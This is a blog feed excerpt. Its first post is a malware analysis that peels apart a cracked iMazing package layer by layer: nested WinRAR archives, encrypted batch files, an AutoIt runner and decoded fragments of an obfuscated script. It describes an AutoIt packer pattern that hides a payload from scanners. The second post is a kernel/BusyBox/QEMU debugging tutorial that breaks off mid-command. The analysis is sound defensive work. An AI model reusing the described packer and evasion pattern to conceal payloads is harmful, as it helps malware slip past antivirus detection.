Obfuscation</title><link>https://blog.lumysia.net/posts/imazing-tnt-package-analysis/</link><guid isPermaLink="true">https://blog.lumysia.net/posts/imazing-tnt-package-analysis/</guid><description>Peeling the TNT cracked iMazing package layer by layer, a WinRAR self-extractor, encrypted batch files, an AutoIt runner and a decompiled obfuscated script, until the two obfuscated strings finally decode and show what it&apos;s really doing.</description><pubDate>Mon, 27 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;I wrote this in 2021. When I tidied it up in 2026, I finally decoded the two pieces of obfuscated code I couldn’t crack back then, and filled in the conclusion. Every layer and every bit of code here I took apart myself. I’m leaving out the name of the download site, it doesn’t matter.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;How it started&lt;a href=&quot;#how-it-started&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;I was looking for a backup tool along the lines of i4Tools (爱思助手, a popular Chinese iPhone manager), which led me to iMazing, and on a whim I went and found TNT’s cracked version of it. I downloaded the Windows build, and the antivirus built into Windows 11 flagged it right away. That got me curious enough to take the crack apart.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;A side note. When antivirus flags a cracked app, sometimes it’s a false positive (a crack patches someone else’s files, which looks a lot like malware), and sometimes it’s the real thing, because plenty of these are wolves in sheep’s clothing. So don’t assume a detection is a false positive, and don’t assume it’s a virus either. You only find out by opening it up.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Analysis&lt;a href=&quot;#analysis&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;1. The overview&lt;a href=&quot;#1-the-overview&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;/images/o4TszgPHIcYji2G.png&quot; alt=&quot;Unpacked&quot; /&gt;&lt;figcaption&gt;Unpacked&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As you can see, it unpacks into an official installer and a &lt;code&gt;Create__Fix.exe&lt;/code&gt;. That’s the file Defender flagged, so that’s where I started.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Create__Fix.exe&lt;a href=&quot;#2-create__fixexe&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;/images/LXSnr6B7TtgvuRK.png&quot; alt=&quot;An archive&quot; /&gt;&lt;figcaption&gt;An archive&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dropping it into DIE, it looks like an archive. Unpacked, it contains this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;/images/lfKRim4QrjzaUYP.png&quot; alt=&quot;Another archive&quot; /&gt;&lt;figcaption&gt;Another archive&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;There’s a &lt;code&gt;Fix.exe&lt;/code&gt; and an &lt;code&gt;iMazing_fix.bat&lt;/code&gt;, but the bat file is gibberish when you open it. Let’s look at the hex in C32Asm:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;/images/cxYuqhaTLU9vElP.png&quot; alt=&quot;Now it&apos;s clear&quot; /&gt;&lt;figcaption&gt;Now it&apos;s clear&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Well, that’s plain enough. Here’s what &lt;code&gt;iMazing_fix.bat&lt;/code&gt; does:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Step one, run &lt;code&gt;Fix.exe&lt;/code&gt; with the arguments &lt;code&gt;-pt147147&lt;/code&gt; and &lt;code&gt;-d%dir%&lt;/code&gt;. Those arguments made me think it’s an archive, and sure enough it seems to be&lt;/li&gt;
&lt;li&gt;Step two, wait one second&lt;/li&gt;
&lt;li&gt;Step three, delete &lt;code&gt;Fix.exe&lt;/code&gt; and &lt;code&gt;iMazing_fix.bat&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;I couldn’t help wondering why it was trying so hard to be a mille-feuille, layer after layer with no end in sight.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;/images/F9l2jZUYENfCuHz.png&quot; alt=&quot;Not again&quot; /&gt;&lt;figcaption&gt;Not again&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;No surprise, it’s another RAR archive.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Fix.exe&lt;a href=&quot;#3-fixexe&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;It needs a password to unpack. I guessed &lt;code&gt;t147147&lt;/code&gt;, and oh, I was right. The TNT team didn’t build their own unpacker. They use WinRAR’s SFX self-extraction module and pass it arguments. After unpacking:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;/images/lm6yzf5asNHcRbS.png&quot; alt=&quot;Yet another unpack&quot; /&gt;&lt;figcaption&gt;Yet another unpack&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;There are three files. The bat script is encrypted again, so back to the hex editor. As the screenshot shows, this script does the following:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Clear the screen&lt;/li&gt;
&lt;li&gt;Turn off echo&lt;/li&gt;
&lt;li&gt;Run the executable &lt;code&gt;data.bin&lt;/code&gt; with the argument &lt;code&gt;v1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Delete &lt;code&gt;v1&lt;/code&gt;, &lt;code&gt;data.bin&lt;/code&gt; and itself&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;DIE says &lt;code&gt;data.bin&lt;/code&gt; is an executable, so I renamed it to &lt;code&gt;data.exe&lt;/code&gt;. &lt;code&gt;v1&lt;/code&gt; is a binary file it couldn’t identify yet.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. data.exe and v1&lt;a href=&quot;#4-dataexe-and-v1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Once renamed, &lt;code&gt;data.exe&lt;/code&gt; is obvious. It’s the AutoIt3 script runner, so &lt;code&gt;v1&lt;/code&gt;, as expected, is a compiled AutoIt3 script, and its extension should be &lt;code&gt;a3x&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;code&gt;v1&lt;/code&gt; is a compiled au3 script. I found a few decompilers on GitHub and used UnAutoIt at the time. Once it was done, &lt;code&gt;v1&lt;/code&gt; gave up an &lt;code&gt;iMazing.exe&lt;/code&gt; and a script so heavily obfuscated it’s nearly unreadable:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;/images/9yFOsWujGwPJmQ6.png&quot; alt=&quot;extra&quot; /&gt;&lt;figcaption&gt;extra&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The modified &lt;code&gt;iMazing.exe&lt;/code&gt; still carries the original digital signature, though the signature is no longer valid. It looks like it patches &lt;code&gt;iMazing.exe&lt;/code&gt; locally, so you’d call it a file patch, but the hash doesn’t seem to change much…&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. What those two obfuscated pieces actually do&lt;a href=&quot;#5-what-those-two-obfuscated-pieces-actually-do&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;This is where I got stuck back then. The decompiler spat out a huge lump of &lt;code&gt;BinaryToString(&apos;0x...&apos;)&lt;/code&gt; wrapped in &lt;code&gt;Execute&lt;/code&gt;, the kind of thing that makes your scalp crawl. It’s really just &lt;strong&gt;hex inside hex&lt;/strong&gt;. Decode the outer hex string and you get another &lt;code&gt;Execute(BinaryToString(&apos;0x...&apos;))&lt;/code&gt;, and only the second decode gives you the real code. Doing it by hand (two lines of Python) gives these two statements:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;StringSplit(FileRead($a2f00001b21sz_), &apos;|387I&apos;, 1)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;1+FileDelete($a2f00001b21sz_)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Read them together with the two small functions around them, and the whole flow makes sense:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;The function &lt;code&gt;a2f00001b21(&quot;4054656D70446972&quot;)&lt;/code&gt; turns hex into a string, so this decodes to &lt;code&gt;@TempDir&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The other hex strings decode to &lt;code&gt;1&lt;/code&gt;, &lt;code&gt;\&lt;/code&gt;, &lt;code&gt;7&lt;/code&gt;, &lt;code&gt;97&lt;/code&gt;, &lt;code&gt;122&lt;/code&gt; and &lt;code&gt;1&lt;/code&gt;. Put together, it takes the system temp folder, adds a backslash if there isn’t one at the end, then generates 7 random characters (&lt;code&gt;Chr(97)&lt;/code&gt; to &lt;code&gt;Chr(122)&lt;/code&gt;, so &lt;code&gt;a&lt;/code&gt; to &lt;code&gt;z&lt;/code&gt;) to build a random file name, looping until it finds a name that doesn’t exist yet&lt;/li&gt;
&lt;li&gt;So if you’re wondering where &lt;code&gt;FileInstall(...)&lt;/code&gt; drops that long file name, the answer is &lt;strong&gt;a random 7-lowercase-letter file name under &lt;code&gt;%TEMP%\&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Then &lt;code&gt;FileRead&lt;/code&gt; reads that whole file in and splits it on the string &lt;code&gt;|387I&lt;/code&gt; (the third argument of &lt;code&gt;StringSplit&lt;/code&gt;, 1, means split on the whole delimiter string, not on individual characters)&lt;/li&gt;
&lt;li&gt;Right after splitting, &lt;code&gt;FileDelete&lt;/code&gt; removes the temp file&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Now it’s clear why it’s written in such a roundabout way. &lt;strong&gt;It keeps a whole payload in one file and chops it into thousands of pieces with &lt;code&gt;|387I&lt;/code&gt;.&lt;/strong&gt; The line &lt;code&gt;If IsArray($os) And $os[0] &amp;gt;= 0x46da Then ExitLoop&lt;/code&gt; in the outer shell makes sense now too. &lt;code&gt;$os&lt;/code&gt; is the array &lt;code&gt;StringSplit&lt;/code&gt; returns, &lt;code&gt;$os[0]&lt;/code&gt; is the element count, and &lt;code&gt;0x46da&lt;/code&gt; is &lt;code&gt;18138&lt;/code&gt;. So it keeps retrying “drop the file and read it” until the split produces 18138 pieces, and only then counts the drop as complete. For one file to split into that many pieces, the payload itself can’t be small.&lt;/p&gt;&lt;p&gt;As for how those pieces get stitched back together and what comes out, the decompiled script I kept back then only has these bits (the original was much longer, and I didn’t save all of it), so I’m not going to force a guess.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;This layer matters more than the question of what exactly it did. It’s a &lt;strong&gt;very common AutoIt packer pattern&lt;/strong&gt;: &lt;code&gt;FileInstall&lt;/code&gt; to a random file name in &lt;code&gt;%TEMP%&lt;/code&gt; → read it back → split it on a custom delimiter → delete the dropped file. The real payload hides inside something that looks like a “data file”, so static scanning has a hard time catching it, and it tries to leave as little behavioral trace as it can (deleted as soon as it lands). So when you see &lt;code&gt;BinaryToString&lt;/code&gt; + &lt;code&gt;Execute&lt;/code&gt; nested inside each other along with a &lt;code&gt;FileInstall&lt;/code&gt; to &lt;code&gt;%TEMP%&lt;/code&gt;, you can pretty much file it in this category straight away.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Conclusion&lt;a href=&quot;#conclusion&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;It nests layer after layer, the &lt;code&gt;iMazing.exe&lt;/code&gt; it finally drops isn’t even cracked, and after splitting the payload it just deletes the temp file&lt;/li&gt;
&lt;li&gt;But chopping the payload into 18138 pieces hidden in a temp file and deleting it right after reading is a textbook AutoIt packer trick, and the whole point is to keep static scanners from seeing the real content&lt;/li&gt;
&lt;li&gt;So “it looks like it does nothing” more likely means &lt;strong&gt;I didn’t have the complete script&lt;/strong&gt;, not that it’s actually harmless&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;One more thing, looking back now. To take this sample apart properly, I’d have to fish &lt;code&gt;v1&lt;/code&gt; out of quarantine, note its SHA-256, check VirusTotal first to see if anyone else uploaded it and what behavior tags it has, then run it in an isolated VM and capture the process tree and network requests. Guessing from a decompile which layer does the real work only gets you so far. Not doing those two steps back then is the biggest gap in this post.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;</content:encoded></item><item><title>A Minimal, Debuggable Linux Kernel with QEMU and BusyBox</title><link>https://blog.lumysia.net/posts/minimal-linux-kernel-qemu-busybox/</link><guid isPermaLink="true">https://blog.lumysia.net/posts/minimal-linux-kernel-qemu-busybox/</guid><description>Building a kernel from source, making a cpio initramfs with BusyBox as the root filesystem, booting it in QEMU, then attaching GDB with -s -S and nokaslr to step through the kernel.</description><pubDate>Wed, 07 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;I wrote this in 2021 and redid it in 2026. The kernel moved from 4.9 to a 6.x that’s still maintained, the root filesystem changed from an ext3 image to a cpio initramfs (no sudo mount, no root needed), and I added the step I never wrote back then, how to actually debug into it with GDB. This setup is still the standard starting point for reading the kernel and reproducing kernel bugs today.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;What you need&lt;a href=&quot;#what-you-need&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Ubuntu 22.04 or newer (anything Debian-based works the same)&lt;/li&gt;
&lt;li&gt;Linux 6.x source&lt;/li&gt;
&lt;li&gt;The latest stable BusyBox&lt;/li&gt;
&lt;li&gt;QEMU&lt;/li&gt;
&lt;/ul&gt;&lt;section&gt;&lt;h3&gt;Getting the source and tools&lt;a href=&quot;#getting-the-source-and-tools&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Grab the kernel source from &lt;a href=&quot;https://www.kernel.org&quot; target=&quot;_blank&quot;&gt;Kernel.org&lt;/a&gt; and BusyBox from &lt;a href=&quot;https://busybox.net/downloads&quot; target=&quot;_blank&quot;&gt;the BusyBox site&lt;/a&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;wget&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.6.tar.xz&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;wget&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://busybox.net/downloads/busybox-1.36.1.tar.bz2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tar&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;xf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;linux-6.6.tar.xz&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tar&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;xf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;busybox-1.36.1.tar.bz2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu-system-x86&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;build-essential&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;flex&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bison&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libelf-dev&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libssl-dev&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bc&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cpio&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Back then I used 4.9 + BusyBox 1.33, and I couldn’t even keep the version straight (1.33.0 in one place, 1.33.1 in another). It’s consistent below.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Building the kernel&lt;a href=&quot;#building-the-kernel&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;linux-6.6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;defconfig&lt;/span&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;# or make x86_64_defconfig&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;menuconfig&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;In &lt;code&gt;menuconfig&lt;/code&gt;, make sure of a few things (&lt;code&gt;defconfig&lt;/code&gt; has most of them already):&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;General setup -&amp;gt; Initial RAM filesystem and RAM disk (initramfs/initrd) support&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Device Drivers -&amp;gt; Block devices -&amp;gt; RAM block device support&lt;/code&gt; (with a cpio initramfs you don’t really need this one, but leaving it on doesn’t hurt)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Kernel hacking -&amp;gt; Compile-time checks and compiler options -&amp;gt; Compile the kernel with debug info&lt;/code&gt;, which you must turn on for debugging&lt;/li&gt;
&lt;li&gt;If you want GDB breakpoints to behave nicely, turn on &lt;code&gt;Kernel hacking -&amp;gt; Compile the kernel with frame pointers&lt;/code&gt; too&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;If this step fails with &lt;code&gt;fatal error: curses.h&lt;/code&gt;, install &lt;code&gt;libncurses-dev&lt;/code&gt; (called &lt;code&gt;libncurses5-dev&lt;/code&gt; on older releases).&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Then build:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-j$(&lt;/span&gt;&lt;span&gt;nproc&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The built kernel is at &lt;code&gt;arch/x86/boot/bzImage&lt;/code&gt;. My old notes weren’t consistent here, saying &lt;code&gt;arch/x86/boot&lt;/code&gt; in one place and &lt;code&gt;arch/x86_64/boot&lt;/code&gt; in another. &lt;strong&gt;The x86_64 kernel is also at &lt;code&gt;arch/x86/boot/bzImage&lt;/code&gt;&lt;/strong&gt;, and there’s no bzImage in &lt;code&gt;arch/x86_64/boot/&lt;/code&gt;. I fell into that one back then.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Building BusyBox&lt;a href=&quot;#building-busybox&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;../busybox-1.36.1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;defconfig&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;menuconfig&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Settings -&amp;gt; Build Options -&amp;gt; [*] Build static binary (no shared libs)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;There’s a trap when building BusyBox on newer systems. The &lt;code&gt;tc&lt;/code&gt; applet just won’t compile, and you get a pile of errors like &lt;code&gt;TCA_CBQ_MAX undeclared&lt;/code&gt; and &lt;code&gt;incomplete type &apos;struct tc_cbq_lssopt&apos;&lt;/code&gt;. The kernel headers dropped that batch of old CBQ queueing constants in 5.x, but BusyBox’s &lt;code&gt;tc&lt;/code&gt; still uses them. The fix is to turn &lt;code&gt;tc&lt;/code&gt; off in &lt;code&gt;menuconfig&lt;/code&gt;, under &lt;code&gt;Networking Utilities -&amp;gt; [ ] tc&lt;/code&gt;. This is also where I got stuck back then.&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-j$(&lt;/span&gt;&lt;span&gt;nproc&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Everything it installs ends up in &lt;code&gt;_install/&lt;/code&gt;.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Making the root filesystem (cpio initramfs)&lt;a href=&quot;#making-the-root-filesystem-cpio-initramfs&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Back then I loop-mounted an ext3 image and copied files into it, with sudo. No need anymore. The kernel supports cpio initramfs natively, so you just pack it up:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rootfs/{bin,sbin,etc/init.d,proc,sys,dev,tmp,mnt}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;_install/&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rootfs/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;rootfs/etc/init.d/rcS&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;rootfs/etc/init.d/rcS&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#!/bin/sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Welcome to my little Linux&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/bin/mount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-a&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/pts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-t&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;devpts&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;devpts&lt;/span&gt;&lt;span&gt; 